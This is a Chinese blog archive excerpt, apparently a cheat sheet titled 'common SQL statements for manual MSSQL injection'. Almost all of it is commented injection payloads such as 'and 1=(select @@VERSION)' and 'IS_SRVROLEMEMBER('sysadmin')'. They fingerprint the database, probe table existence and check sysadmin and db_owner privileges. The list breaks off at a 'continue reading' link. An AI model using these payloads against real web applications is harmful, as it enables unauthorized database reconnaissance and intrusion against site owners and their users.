按标签归档:手工MSSQL注入常用SQL语句

手工MSSQL注入常用SQL语句

and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..tableName为表名 and 1=(select @@VERSION) //MSSQL版本 And 1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员 and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限 and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限 and 1=(select … 继续阅读

发表评论